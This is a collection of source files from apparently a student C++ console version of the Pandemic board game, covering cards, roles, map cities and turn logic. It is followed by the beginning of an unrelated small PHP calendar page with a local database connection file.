while (cityFile >> name >> color >> pop){
cities.push_back(new City(name, color, pop));
}
std::vector<InfectionCard*> infectionCardDeck;
std::vector<InfectionCard*> infectionCardDiscard;
std::ifstream infectionDeck("..\\cities.txt");
std::string cityName, cityColor;
int null;
while (infectionDeck >> name >> color >> null)
{
infectionCardDeck.push_back(new InfectionCard(name, color));
}
for (int i = 0; i < 6; i++){
epidemics.push_back(new Epidemic());
}
std::ifstream mcities("..\\PandemicMap.txt");
std::vector<MapCity*> map;
std::string line;
for (int lineNum = 1; getline(mcities, line); lineNum++)
{
std::stringstream ss(line);
std::string word;
std::string name;
std::vector<MapCity*> neighs;
int wordNum = 1;
for (wordNum; ss >> word; wordNum++)
{
if (wordNum == 1)
name = word;
else
neighs.push_back(new MapCity(word));
}
map.push_back(new MapCity(name, neighs));
}
//std::ifstream mapCities("..\\PandemicMap.txt");
//std::vector<MapCity*> map;
//std::string city, neighbourOne, neighbourTwo, neighbourThree, neighbourFour;
//
//while (mapCities >> city >> neighbourOne >> neighbourTwo >> neighbourThree >> neighbourFour)
//{
// std::vector<MapCity*> neighbours;
// neighbours.push_back(new MapCity(neighbourOne));
// neighbours.push_back(new MapCity(neighbourTwo));
// neighbours.push_back(new MapCity(neighbourThree));
// neighbours.push_back(new MapCity(neighbourFour));
// map.push_back(new MapCity(city, neighbours));
//}
//std::cout << map.size();
//for (int i = 0; i < map.size(); i++)
//{
// std::cout << map[i]->getName() << " has neighbours: " << std::endl;
// map[i]->getListOfNeighbours();
// std::cout << std::endl;
//}
//for (int i = 0; i < map.size(); i++)
//{
// std::cout << map[i]->getName() << std::endl;
// map[i]->getListOfNeighbours();
// std::cout << std::endl;
//}
//creating event cards
events.push_back(new Event("Airlift", "Move any one pawn to any city. Get permission before moving another player's pawn."));
events.push_back(new Event("One Quiet Night", "The next player to begin the Playing The Infection phase of their turn may skip that phase entirely."));
events.push_back(new Event("Forecast", "Examine the top 6 cards of the Infection Draw Pile, rearrange them in the order of your choice, then place them back on the pile."));
events.push_back(new Event("Government Grant","Add a Research Station to any city for free."));
events.push_back(new Event("Resilient Population", "Take a card from the Infection Discard Pile and remove it from the game."));
//create a deck
Deck *deck(new Deck());
deck->createDeck(cities, events, epidemics);
//hold the deck for game manipulation
std::vector<PlayerCard*> pDeck = deck->getDeck();
//output deck
//deck->displayDeck();
int input;
std::cout << "Welcome to Pandemic: Build 1." << std::endl;
std::cout << "===============================================" << std::endl;
/*std::cout << "Would you like to: \n 1) Start a new game? \n 2) Load an existing game?";
std::cin >> input;*/
std::cout << "What is the name of player 1: ";
std::string player1;
std::cin >> player1;
std::cout << "What is the name of player 2: ";
std::string player2;
std::cin >> player2;
//initialize 2 players
Player *p1(new Player(player1));
Player *p2(new Player(player2));
//give roles to players
int role1 = rand() % 7;
int role2 = rand() % 7;
while (role1 == role2)
{
role2 = rand() % 7;
}
p1->setRole(new roles(role1));
p2->setRole(new roles(role2));
//set pawns of player (to do: set start location of pawn)
p1->setPawn(new Pawn(p1->getRole()->getColor()));
p2->setPawn(new Pawn(p2->getRole()->getColor()));
std::cout << std::endl;
std::cout << "-------------------- Roles --------------------" << std::endl;
std::cout << p1->getName() << " is a " << p1->getRole()->getName() << std::endl;
std::cout << p2->getName() << " is a " << p2->getRole()->getName() << std::endl;
std::cout << "-----------------------------------------------" << std::endl;
std::cout << std::endl;
//populate individual player hands
for (int i = 0; i < deck->getPlayerHand().size(); i++){
p1->addCard(deck->getPlayerHand().at(i));
p2->addCard(deck->getPlayerHand().at(i + 1));
i = i + 1;
}
//decisions decisions - hard coded atm. will be possibly implemetned as a functon of class game.
bool p1HasEvent = false;
bool p2HasEvent = false;
int o;
std::string option;
start: {
//start of players turn
p1->setCurrentCity(map[0]);
p2->setCurrentCity(map[0]);
std::cout << "Players are now stationed in " << p1->getCurrentCity() << " !" << std::endl;
std::cout << p1->getName() << "'s turn." << std::endl;
std::cout << p1->getRole()->getSkill() << std::endl;
std::cout << "These are your cards." << std::endl;
std::cout << std::endl;
p1->displayHand();
std::cout << std::endl;
//perform the 4 or less actions available to the player
o = 0;
std::cout << "Below are your options. Enter an option number to make a decision." << std::endl;
for (int i = 0; i < p1->getHand().size(); i++) {
if (p1->getHand()[i]->getType() != "city") {
p1HasEvent = true;
}
}
if (p1HasEvent == true) {
o = 1;
std::cout << o << " : use 1 event card." << std::endl;
}
std::cout << o + 1 << " : check actions on reference card" << std::endl;
std::cout << o + 2 << " : end the game." << std::endl;
std::cin >> option;
options: {
if (option == "1" && p1HasEvent == true) {
std::cout << "Turns out events are useless. Next players turn." << std::endl;
goto proceed;
}
else if (option == std::to_string(o + 1)) {
p1->getReferenceCard();
std::cout << "You have up to 4 actions to do, you can either pick a number to perform the action, or skip your actions by pressing 0. What would you like to do?" << std::endl;
int playerTurns = 4;
int playerInput;
retry:
std::cin >> playerInput;
while (playerTurns <= 0 || playerInput != 0)
{
if (playerInput == 1)
{
p1->move();
std::cout << std::endl;
p1->getReferenceCard();
std::cout << "Would you like to perform another action? Press 0 to skip" << std::endl;
std::cin >> playerInput;
}
else if (playerInput > 1 && playerInput < 10)
{
std::cout << "Doing " << playerInput << "'s actions. We have not yet implemented the actions" << std::endl;
playerTurns--;
if (playerTurns <= 0)
{
std::cout << "No more actions to do!" << std::endl;
break;
}
std::cout << "Would you like to perform another action? Press 0 to skip." << std::endl;
std::cin >> playerInput;
}
else if (playerInput == 0)
{
std::cout << "Confirmed! Exiting now . . . " << std::endl;
break;
}
else {
std::cout << "Wrong input, try again." << std::endl;
goto retry;
}
}
}
else if (option == std::to_string(o + 2)) {
MessageBox(NULL, L"You ended the game.", L"Game Over", NULL);
goto endgame;
}
else {
std::cout << "Wrong input. Try again!" << std::endl;
goto options;
}
}
proceed:
//draw 2 cards from player deck, add to player hand. If epidemic, discard it and update infection rate
if (pDeck.at(0)->getType() == "epidemic") {
//if epidemic, increase infection rate and add 1 card to your hand
GameManager::Instance().increseInfectionRate();
pDeck.erase(pDeck.begin());
p1->addCard(pDeck.at(0));
pDeck.erase(pDeck.begin());
}
else if(pDeck.at(1)->getType() == "epidemic") {
//if 2nd card is epidemic, increase infection rate and add first card to your hand
p1->addCard(pDeck.at(0));
pDeck.erase(pDeck.begin());
GameManager::Instance().increseInfectionRate();
pDeck.erase(pDeck.begin());
}
else {
//if not, add 2 cards to your hand
p1->addCard(pDeck.at(0));
pDeck.erase(pDeck.begin());
p1->addCard(pDeck.at(0));
pDeck.erase(pDeck.begin());
}
//infect cities - done automatiacally by the game - will check if cubes are available and update avaialble cube counts
if (GameManager::Instance().checkCubes()) {
std::cout << "------------------------------------------------------" << std::endl;
std::cout << "Drawing 2 Infection Cards from infection deck . . . . " << std::endl;
int card1 = rand() % infectionCardDeck.size();
infectionCardDeck[card1]->infect();
infectionCardDeck.erase(infectionCardDeck.begin() + card1);
infectionCardDiscard.push_back(infectionCardDeck.at(card1));
int card2 = rand() % infectionCardDeck.size();
infectionCardDeck[card2]->infect();
infectionCardDeck.erase(infectionCardDeck.begin() + card2);
infectionCardDiscard.push_back(infectionCardDeck.at(card2));
std::cout << "------------------------------------------------------" << std::endl;
}
else {
MessageBox(NULL, L"You ran out of infection cubes", L"Game Over", NULL);
goto endgame;
}
//check if outbreak limit was reached
if (GameManager::Instance().checkOutbreak()) {
MessageBox(NULL, L"Outbreak tracker is at 8. You lose.", L"Game Over", NULL);
goto endgame;
}
//next players turn
std::cout << p2->getName() << "'s turn." << std::endl;
std::cout << p2->getRole()->getSkill() << std::endl;
std::cout << "These are your cards." << std::endl;
std::cout << std::endl;
p2->displayHand();
o = 0;
std::cout << std::endl;
//perform the 4 or less actions available to the player
std::cout << "Below are your options. Enter an option number to make a decision." << std::endl;
for (int i = 0; i < p2->getHand().size(); i++) {
if (p2->getHand()[i]->getType() != "city") {
p2HasEvent = true;
}
}
if (p2HasEvent == true) {
o = 1;
std::cout << o << " : use 1 event card." << std::endl;
}
std::cout << o + 1 << " : check actions on reference card" << std::endl;
std::cout << o + 2 << " : end the game." << std::endl;
std::cin >> option;
options2: {
if (option == "1" && p2HasEvent == true) {
std::cout << "Turns out events are useless. Next players turn." << std::endl;
goto proceed2;
}
else if (option == std::to_string(o + 1)) {
p2->getReferenceCard();
std::cout << "You have up to 4 actions to do, you can either pick a number to perform the action, or skip your actions by pressing 0. What would you like to do?" << std::endl;
int playerTurns = 4;
int playerInput;
retry2:
std::cin >> playerInput;
while (playerTurns != 0 || playerInput != 0)
{
if (playerInput == 1)
{
p1->move();
std::cout << std::endl;
p1->getReferenceCard();
std::cout << "Would you like to perform another action? Press 0 to skip" << std::endl;
std::cin >> playerInput;
}
else if (playerInput > 0 && playerInput < 10)
{
std::cout << "Doing " << playerInput << "'s actions. We have not yet implemented the actions" << std::endl;
playerTurns--;
if (playerTurns <= 0)
{
std::cout << "No more actions to do!" << std::endl;
break;
}
std::cout << "Would you like to perform another action? Press 0 to skip.";
std::cin >> playerInput;
}
else if (playerInput == 0)
{
std::cout << "Confirmed! Exiting now . . . " << std::endl;
break;
}
else {
std::cout << "Wrong input, try again." << std::endl;
goto retry2;
}
}
}
else if (option == std::to_string(o + 2)) {
MessageBox(NULL, L"You ended the game.", L"Game Over", NULL);
goto endgame;
}
else {
std::cout << "Wrong input. Try again!" << std::endl;
goto options2;
}
}
proceed2:
//draw 2 cards from player deck, add to player hand. If epidemic, discard it and update infection rate
if (pDeck.at(0)->getType() == "epidemic") {
//if epidemic, increase infection rate and add one card tou your hand
GameManager::Instance().increseInfectionRate();
pDeck.erase(pDeck.begin());
p2->addCard(pDeck.at(0));
pDeck.erase(pDeck.begin());
}
else if (pDeck.at(1)->getType() == "epidemic") {
//if 2nd card is epidemic, increase infection rate and add first card to your hand
p1->addCard(pDeck.at(0));
pDeck.erase(pDeck.begin());
GameManager::Instance().increseInfectionRate();
pDeck.erase(pDeck.begin());
}
else {
//if not, add 2 cards to your hand
p1->addCard(pDeck.at(0));
pDeck.erase(pDeck.begin());
p1->addCard(pDeck.at(0));
pDeck.erase(pDeck.begin());
}
//infect cities - done automatiacally by the game - will check if cubes are available and update avaialble cube counts
if (GameManager::Instance().checkCubes()) {
std::cout << "------------------------------------------------------" << std::endl;
std::cout << "Drawing 2 Infection Cards from infection deck . . . . " << std::endl;
int card3 = rand() % infectionCardDeck.size();
infectionCardDeck[card3]->infect();
infectionCardDeck.erase(infectionCardDeck.begin() + card3);
infectionCardDiscard.push_back(infectionCardDeck.at(card3));
int card4 = rand() % infectionCardDeck.size();
infectionCardDeck[card4]->infect();
infectionCardDeck.erase(infectionCardDeck.begin() + card4);
infectionCardDiscard.push_back(infectionCardDeck.at(card4));
std::cout << "------------------------------------------------------" << std::endl;
}
else {
MessageBox(NULL, L"You ran out of infection cubes", L"Game Over", NULL);
goto endgame;
}
//check if outbreak limit was reached
if (GameManager::Instance().checkOutbreak()) {
MessageBox(NULL, L"Outbreak tracker is at 8. You lose.", L"Game Over", NULL);
goto endgame;
}
goto start;
}
endgame:
//delete all pointers
for (auto it = cities.begin(); it != cities.end(); it++)
delete *it;
cities.clear();
for (auto it = events.begin(); it != events.end(); it++)
delete *it;
events.clear();
for (auto it = epidemics.begin(); it != epidemics.end(); it++)
delete *it;
epidemics.clear();
delete deck, p1, p2;
deck, p1, p2 = NULL;
return 0;
}
<file_sep>#pragma once
#include <vector>
#include <iostream>
#include <string>
class MapCity
{
private:
std::string name;
std::vector <MapCity*> neighbours;
bool isInfected;
//bool epidemic;
int blueCubes;
int redCubes;
int blackCubes;
int yellowCubes;
public:
MapCity::MapCity(std::string name, std::vector <MapCity*> neighbours);
MapCity::MapCity(std::string name);
MapCity::MapCity();
std::string getName();
std::vector<MapCity*> getNeighbours();
void setNeighbours(std::vector <MapCity*> neighbours);
void getListOfNeighbours();
void addBlackCube();
void addBlueCube();
void addRedCube();
void addYellowCube();
void epidemic(std::string cubeColor);
};
<file_sep>#include "Pawn.h"
Pawn::Pawn(){};
Pawn::Pawn(std::string color) : color(color){};
void Pawn::setColor(std::string color)
{
this->color = color;
}
std::string Pawn::getColor()
{
return color;
}<file_sep>#include <iostream>
#include <string>
#include "Epidemic.h"
Epidemic::Epidemic(){
type = "epidemic";
}
Epidemic::~Epidemic(){}
void Epidemic::getAttributes()
{
std::cout << "Epidemic!" << std::endl;
std::cout << "1 - Increase" << std::endl;
std::cout << "Move Infection rate marker forward 1 space." << std::endl;
std::cout << "2 - Infect" << std::endl;
std::cout << "Draw the bottom card from the Ingection Deck nd put 3 cubes on that city. Discard that card." << std::endl;
std::cout << "3 - Intensify" << std::endl;
std::cout << "Shuffle the cards in the Infection Discard Pile and put them on top of the Infection Deck." << std::endl;
}
std::string Epidemic::getType()
{
return type;
}
<file_sep>#include <string>
#include <iostream>
#include "GameManager.h"
GameManager::GameManager(){
redCubes = 24;
blueCubes = 24;
yellowCubes = 24;
blackCubes = 24;
infectionRate[0] = 2;
infectionRate[1] = 2;
infectionRate[2] = 2;
infectionRate[3] = 3;
infectionRate[4] = 3;
infectionRate[5] = 4;
infectionRate[6] = 4;
infectionRateIndex = 0;
outbreakTracker = 1;
researchStations = 6;
}
void GameManager::increseInfectionRate(){
infectionRateIndex = infectionRateIndex + 1;
}
void GameManager::increaseOutbreakTracker(){
outbreakTracker = outbreakTracker + 1;
}
void GameManager::setOutbreakTracker(int i){
outbreakTracker = i;
}
void GameManager::updateCubes(std::string color, int d){
if (color == "red")
redCubes = redCubes - d;
if (color == "blue")
blueCubes = blueCubes - d;
if (color == "black")
blackCubes = blackCubes - d;
if (color == "yellow")
yellowCubes = yellowCubes - d;
}
void GameManager::setCubes(int red, int blue, int black, int yellow){
redCubes = red;
blueCubes = blue;
blackCubes = black;
yellowCubes = yellow;
}
void GameManager::useStation(){
if (researchStations = 0)
std::cout << "No research statioons left" << std::endl;
else
researchStations = researchStations - 1;
}
int GameManager::getInfectionRate(){
return infectionRate[infectionRateIndex];
}
int GameManager::getOutbreakTracker(){
return outbreakTracker;
}
int GameManager::getAvailableStations() {
return researchStations;
}
void GameManager::displayCubeCount() {
std::cout << "Red Cubes: " << redCubes << std::endl;
std::cout << "Blue Cubes: " << blueCubes << std::endl;
std::cout << "Black Cubes: " << blackCubes << std::endl;
std::cout << "Yellow Cubes: " << yellowCubes << std::endl;
}
bool GameManager::checkCubes(){
if (redCubes > 0 && blueCubes > 0 && yellowCubes > 0 && blackCubes > 0)
return true;
else
return false;
}
bool GameManager::checkOutbreak()
{
if (outbreakTracker == 8)
return true;
else
return false;
}
<file_sep>#include <iostream>
#include <string>
#include "Event.h"
Event::Event(std::string n, std::string d) {
name = n;
description = d;
}
Event::~Event(){}
void Event::getAttributes() {
std::cout << "Name: " << name << std::endl;
std::cout << "Description: " << description << std::endl;
}
std::string Event::getType()
{
return name;
}
<file_sep># lions team
Comp 345 project - Pandemic
<file_sep>#pragma once
#include <iostream>
#include <vector>
#include "PlayerCard.h"
class Deck {
public:
Deck();
~Deck();
void getAttributes();
void createDeck(std::vector<PlayerCard*> cities, std::vector<PlayerCard*> events, std::vector<PlayerCard*> epidemics);
std::vector<PlayerCard*> getDeck();
std::vector<PlayerCard*> getPlayerHand();
void displayDeck();
private:
std::vector<PlayerCard*> preDeck;
std::vector<PlayerCard*> deck;
std::vector<PlayerCard*> playerHand;
};<file_sep>#include <iostream>
#include <random>
#include <vector>
#include <stdlib.h>
#include <time.h>
#include "Deck.h"
Deck::Deck() {}
Deck::~Deck() {}
void Deck::getAttributes(){
std::cout << "This is a player deck" << std::endl;
}
void Deck::createDeck(std::vector<PlayerCard*> cities, std::vector<PlayerCard*> events, std::vector<PlayerCard*> epidemics) {
int randIndex;
//populate preDeck
for (size_t i = 0; i < cities.size(); i++) {
preDeck.push_back(cities.at(i));
}
for (size_t i = 0; i < events.size(); i++) {
preDeck.push_back(events.at(i));
}
//populate playerHand with cards for players
for (int a = 0; a < 8; a++){
randIndex = rand() % preDeck.size();
playerHand.push_back(preDeck.at(randIndex));
preDeck.erase(preDeck.begin() + randIndex);
}
int psize = preDeck.size();
//create final playerdeck
for (int i = 0; i < psize; i++) {
if (i == psize)
break;
if (preDeck.size() != 0){
randIndex = rand() % preDeck.size();
if (i % 12 == 11){
deck.push_back(epidemics.at(0));
}
deck.push_back(preDeck.at(randIndex));
preDeck.erase(preDeck.begin() + randIndex);
}
}
}
std::vector<PlayerCard*> Deck::getDeck() {
return deck;
}
std::vector<PlayerCard*> Deck::getPlayerHand() {
return playerHand;
}
void Deck::displayDeck(){
//for debugging
std::cout << "Deck Size = " << deck.size() << std::endl;
for (int i = 0; i < deck.size(); i++) {
deck[i]->getAttributes();
std::cout << "Card: " << i << std::endl;
std::cout << std::endl;
}
}
<file_sep>#include "MapCity.h"
MapCity::MapCity(std::string name, std::vector <MapCity*> neighbours) :name(name), neighbours(neighbours){};
MapCity::MapCity(){};
MapCity::MapCity(std::string name)
{
this->name = name;
}
std::string MapCity::getName()
{
return name;
std::cout << std::endl;
}
std::vector<MapCity*> MapCity::getNeighbours()
{
return neighbours;
}
void MapCity::getListOfNeighbours()
{
for (int i = 0; i < neighbours.size(); i++)
{
std::cout << i + 1 << ") " << neighbours[i]->getName() << std::endl;
}
};
void MapCity::setNeighbours(std::vector<MapCity*> neighbours)
{
this->neighbours = neighbours;
}
void MapCity::addBlackCube()
{
blackCubes += 1;
if (blackCubes >= 4)
epidemic("black");
isInfected = true;
}
void MapCity::addBlueCube()
{
blueCubes += 1;
if (blueCubes >= 4)
epidemic("blue");
isInfected = true;
}
void MapCity::addRedCube()
{
redCubes += 1;
if (yellowCubes >= 4)
epidemic("red");
isInfected = true;
}
void MapCity::addYellowCube()
{
yellowCubes += 1;
if (yellowCubes >= 4)
epidemic("yellow");
isInfected = true;
}
void MapCity::epidemic(std::string color)
{
if (color == "black")
{
for (int i = 0; i < neighbours.size(); i++)
{
neighbours[i]->addBlackCube();
}
}
else if (color == "blue")
{
for (int i = 0; i < neighbours.size(); i++)
{
neighbours[i]->addBlueCube();
}
}
if (color == "red")
{
for (int i = 0; i < neighbours.size(); i++)
{
neighbours[i]->addRedCube();
}
}
if (color == "yellow")
{
for (int i = 0; i < neighbours.size(); i++)
{
neighbours[i]->addYellowCube();
}
}
}<file_sep>#include "roles.h"
#include <cstdlib>
#include <iostream>
#include <string>
roles::roles()
{
}
roles::roles(int type)
{
switch (type)
{
case 0:
roleID = 0;
name = "Scientist";
color = "White";
skill = "Scientist Skill: Requires only 4 player cards to research a cure";
role_scientist();
break;
case 1:
roleID = 1;
name = "<NAME>";
color = "Light Blue";
skill = "Contingency Planner Skill: Can take and store event cards in discard pile for a second use";
role_contingency_planner();
break;
case 2:
roleID = 2;
name = "<NAME>";
color = "Light Green";
skill = "Operations Expert Skill: Can plant a research station without player card, and can move to any research station as action";
role_operations_expert();
break;
case 3:
roleID = 3;
name = "Medic";
color = "Orange";
skill = "Medic Skill: Remove all cubes of 1 color with one action, once cure is found, remove all cubes of cured disease on entrance to city";
role_medic();
break;
case 4:
roleID = 4;
name = "Dispatcher";
color = "Pink";
skill = "Dispatcher Skill: Can move other pawns, and move a pawn to another pawns location";
role_dispatcher();
break;
case 5:
roleID = 5;
name = "Researcher";
color = "Brown";
skill = "Researcher Skill: Can give any player card to any player as long as located in the same city";
role_researcher();
break;
case 6:
roleID = 6;
name = "<NAME>";
color = "Dark Green";
skill = "Quarantine Specialist Skill: Current city and adjacent cities cannot be infected";
role_quarantine_specialist();
break;
};
}
void roles::output()
{
std::cout << "Role ID: " << roleID << std::endl;
std::cout << "Role Name: " << name << std::endl;
if (roleID == 0)
{
std::cout << "Scientist Skill: Requires only 4 player cards to research a cure" << std::endl;
}
else if (roleID == 1)
{
std::cout << "Contingency Planner Skill: Can take and store event cards in discard pile for a second use" << std::endl;
}
else if (roleID == 2)
{
std::cout << "Operations Expert Skill: Can plant a research station without player card, and can move to any research station as action" << std::endl;
}
else if (roleID == 3)
{
std::cout << "Medic Skill: Remove all cubes of 1 color with one action, once cure is found, remove all cubes of cured disease on entrance to city" << std::endl;
}
else if (roleID == 4)
{
std::cout << "Dispatcher Skill: Can move other pawns, and move a pawn to another pawns location" << std::endl;
}
else if (roleID == 5)
{
std::cout << "Researcher Skill: Can give any player card to any player as long as located in the same city" << std::endl;
}
else if (roleID == 6)
{
std::cout << "Quarantine Specialist Skill: Current city and adjacent cities cannot be infected" << std::endl;
}
std::cout << std::endl;
}
void roles::role_scientist()
{
skill_scientist = true;
}
void roles::role_contingency_planner()
{
skill_contingency_planner = true;
}
void roles::role_operations_expert()
{
skill_operations_expert = true;
}
void roles::role_medic()
{
skill_medic = true;
}
void roles::role_dispatcher()
{
skill_dispatcher = true;
}
void roles::role_researcher()
{
skill_researcher = true;
}
void roles::role_quarantine_specialist()
{
skill_quarantine_specialist = true;
}
std::string roles::getColor()
{
return color;
}
std::string roles::getName() {
return name;
}
std::string roles::getSkill() {
return skill;
}<file_sep>#pragma once
#include <iostream>
#include <string>
#include "PlayerCard.h"
class Event : public PlayerCard {
public:
Event(std::string name, std::string desc);
~Event();
void getAttributes();
std::string getType();
private:
std::string name;
//std::string type;
std::string description;
};<file_sep>#include "reference_cards.h"
#include <string>
#include <iostream>
reference_cards* reference_cards::s_instance = NULL;
reference_cards::reference_cards()
{
}
void reference_cards::output()
{
std::cout << "You have 4 actions. Please choose from one of the actions below." << std::endl
<< "1. Move to an adjacent city" << std::endl
<< "2. Fly to a city by discarding the player card of that city" << std::endl
<< "3. Fly to any city by discarding the player card of the city that the player is currently on" << std::endl
<< "4. If currently on a research center move to another city with a research center" << std::endl
<< "5. Research a cure if the player is at a city with a research center" << std::endl
<< "6. Trade a player card of a city if and only if both parties are at the same city" << std::endl
<< "7. Remove one infection cube from the current city" << std::endl
<< "8. Construct a research station by discarding the player card of that city. Required to also be located at the city" << std::endl << std::endl;
}
reference_cards* reference_cards::instance()
{
if (!s_instance)
s_instance = new reference_cards;
return s_instance;
}<file_sep>#pragma once
#include <iostream>
#include <string>
class PlayerCard {
public:
PlayerCard();
~PlayerCard();
virtual void getAttributes();
virtual std::string getType();
};<file_sep>#include <iostream>
#include "InfectionCard.h"
#include "GameManager.h"
InfectionCard::InfectionCard(std::string city, std::string colorCode) :city(city), colorCode(colorCode){};
void InfectionCard::infect()
{
std::cout << city << " infected! 1 " << colorCode << " added to " << city << "." << std::endl;
GameManager::Instance().updateCubes(colorCode, 1);
}<file_sep>#pragma once
class reference_cards
{
public:
void output();
static reference_cards* instance();
protected:
reference_cards();
static reference_cards *s_instance;
};
<file_sep>#include "PlayerCard.h"
#include <iostream>
#include <string>
PlayerCard::PlayerCard(){}
PlayerCard::~PlayerCard(){}
void PlayerCard::getAttributes()
{
}
std::string PlayerCard::getType()
{
return "";
}
<file_sep>#pragma once
#include <iostream>
#include <string>
#include <vector>
#include "PlayerCard.h"
#include "reference_cards.h"
#include "MapCity.h"
#include "roles.h"
#include "Pawn.h"
class Player{
public:
Player(std::string name);
~Player();
void addCard(PlayerCard *card);
std::vector<PlayerCard*> getHand();
std::string getName();
void displayHand();
void getReferenceCard();
void setRole(roles* role);
roles* getRole();
void setPawn(Pawn* p);
Pawn* getPawn();
void move();
void setCurrentCity(MapCity* currentCity);
std::string getCurrentCity();
private:
std::string name;
std::vector<PlayerCard*> hand;
reference_cards* reference_card;
roles *role;
Pawn *pawn;
MapCity* currentCity;
};<file_sep>#pragma once
class reference_cards
{
public:
reference_cards();
void output();
};
<file_sep>#include <iostream>
#include <string>
#include "City.h"
City::City(std::string name, std::string color, int pop) {
cityname = name;
citycolor = color;
population = pop;
type = "city";
}
City::~City(){}
void City::getAttributes() {
std::cout << "City Name: " << cityname << std::endl;
std::cout << "Color: " << citycolor << std::endl;
std::cout << "Population: " << population << std::endl;
}
std::string City::getType()
{
return type;
}
<file_sep>#pragma once
#include <string>
class GameManager {
public:
static GameManager &Instance() {
static GameManager *instance = new GameManager;
return *instance;
}
void increseInfectionRate(); //occurs when an epidemic card is drawn from the player deck
void increaseOutbreakTracker(); //occurs when there is an outbreak in a city
void setOutbreakTracker(int i);
void updateCubes(std::string color, int n);
void setCubes(int red, int blue, int black, int yellow); //to use when loading i guess
void useStation(); //used to fullfill an option of building a research station
int getInfectionRate();
int getOutbreakTracker();
int getAvailableStations();
void displayCubeCount();
bool checkCubes(); //check if cubes are available
bool checkOutbreak();
private:
GameManager();
~GameManager();
GameManager(const GameManager &old);
const GameManager &operator=(const GameManager &old);
int redCubes;
int blueCubes;
int yellowCubes;
int blackCubes;
int infectionRate[7];
int infectionRateIndex;
int outbreakTracker;
int researchStations;
};<file_sep>#pragma once
#include <string>
class InfectionCard
{
public:
InfectionCard::InfectionCard(std::string city, std::string colorCode);
void infect();
private:
std::string colorCode;
std::string city;
};
<file_sep>// MapSave.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "Map.h"
#include <fstream>
int _tmain(int argc, _TCHAR* argv[])
{
Player player1("Memo");
Player player2("Eric");
Player player3("Tom");
std::vector<MapCity*> mapCities;
std::vector<MapCity*> neighbours;
std::vector<MapCity*> dubaiNeighbours;
std::vector<MapCity*> dublinNeighbours;
std::vector<MapCity*> parisNeighbours;
MapCity *Dublin(new MapCity("Dublin"));
MapCity *Paris(new MapCity("Paris"));
MapCity *Dubai(new MapCity("Dubai"));
dubaiNeighbours.push_back(Paris);
dubaiNeighbours.push_back(Dublin);
dublinNeighbours.push_back(Dubai);
dublinNeighbours.push_back(Paris);
parisNeighbours.push_back(Dubai);
parisNeighbours.push_back(Dublin);
Dublin->setNeighbours(dublinNeighbours);
Dubai->setNeighbours(dubaiNeighbours);
Paris->setNeighbours(parisNeighbours);
int playerInput;
std::cout << "Welcome player! Do you want to: 1) Start a new game? " << std::endl;
std::cout << "2) load your last saved game?" << std::endl;
std::cin >> playerInput;
if (playerInput == 1)
{
player1.setCity(Dublin);
player2.setCity(Dublin);
player3.setCity(Dublin);
std::cout << "Hello players and welcome to the map save/load function! First we shall move the characters." << std::endl;
player1.move();
player2.move();
player3.move();
std::ofstream saveFile("LoadLastLocation.txt");
if (saveFile.is_open())
{
saveFile << player1.getCurrentCity()->getName() << std::endl;
saveFile << player2.getCurrentCity()->getName() << std::endl;
saveFile << player3.getCurrentCity()->getName();
}
else
{
std::cout << "cannot open file " << std::endl;
}
}
else if (playerInput == 2)
{
std::string line;
std::ifstream infile("LoadLastLocation.txt");
if (infile.is_open())
{
while (!infile.eof())
{
std::string player1City, player2City, player3City;
getline(infile, player1City, '\n');
getline(infile, player2City, '\n');
getline(infile, player3City, '\n');
MapCity* playerOne(new MapCity(player1City));
MapCity* playerTwo(new MapCity(player2City));
MapCity* playerThree(new MapCity(player3City));
player1.setCity(playerOne);
player2.setCity(playerTwo);
player3.setCity(playerThree);
std::cout << "Player 1 is currently at: " << player1.getCurrentCity()->getName() << std::endl;
std::cout << "Player 2 is currently at: " << player2.getCurrentCity()->getName() << std::endl;
std::cout << "Player 3 is currently at: " << player3.getCurrentCity()->getName() << std::endl;
}
}
}
void addCities()
{
//std::string mapCity;
//int pop;
/*
while (!infile.eof())
{
std::string name;
std::string neighbourName;
infile >> name;
infile >> neighbourName;
//mapCities.push_back(new MapCity(name));
MapCity *neighbour(new MapCity(neighbourName));
neighbours.push_back(new MapCity(neighbourName));
mapCities.push_back(new MapCity(name, neighbours));
}
*/
// Player player2("Eric", mapCities.at(40));
std::cout << "Now that the players have moved, we should save the file. The program will exit after and we will open it again with last known locations!";
//player1.move();
//player2.move();
//player1.move();
system("pause");
return 0;
}
<file_sep>#pragma once
#include <iostream>
#include <string>
#include "PlayerCard.h"
class City : public PlayerCard {
public:
City(std::string name, std::string color, int pop);
~City();
void getAttributes();
std::string getCityName(); //for future development
std::string getColor(); //for future development
int getPop(); //for future development
std::string getType();
private:
std::string cityname;
std::string citycolor;
std::string type;
int population;
}; | d76d52d75bcc06fa1e5fd3b47e2cb6359dcd95d3 | [
"Markdown",
"C++"
] | 28 | C++ | ddicorpo/PandemicBuild | 9c1ff34cd2bdfb2a5a1a26019d31f0b360fb9dd0 | 6a2d61164519e5455b6fef143defd51237a68327 |
refs/heads/master | <repo_name>yuniyoon/calendar<file_sep>/calendar/dbconnect.php
<?php
$host = "localhost";
$id = "root";
$password = "";
$db = "reserve";
$conn = new mysqli($host, $id, $password, $db);
mysqli_query($conn, "set names utf8");
?>
<file_sep>/calendar/calendar.php
<!DOCTYPE html>
<html lang="en">
<head>
<title>カレンダー</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css">
<style>
font.holy {font-family: tahoma;font-size: 20px;color: #FF6C21;}
font.blue {font-family: tahoma;font-size: 20px;color: #0000FF;}
font.black {font-family: tahoma;font-size: 20px;color: #000000;}
</style>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js"></script>
<script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
</head>
<body>
<?php include('calendarsouse.php') ?>
<div class="container">
<table class="table table-bordered table-responsive">
<tr align="center" >
<td>
<a href=<?php echo 'calrendar.php?year='.$preyear.'&month='.$month . '&day=1'; ?>>◀◀</a>
</td>
<td>
<a href=<?php echo 'calrendar.php?year='.$prev_year.'&month='.$prev_month . '&day=1'; ?>>◀</a>
</td>
<td height="50" bgcolor="#FFFFFF" colspan="3">
<a href=<?php echo 'calrendar.php?year=' . $thisyear . '&month=' . $thismonth . '&day=1'; ?>>
<?php echo " " . $year . '年 ' . $month . '月 ' . " "; ?></a>
</td>
<td>
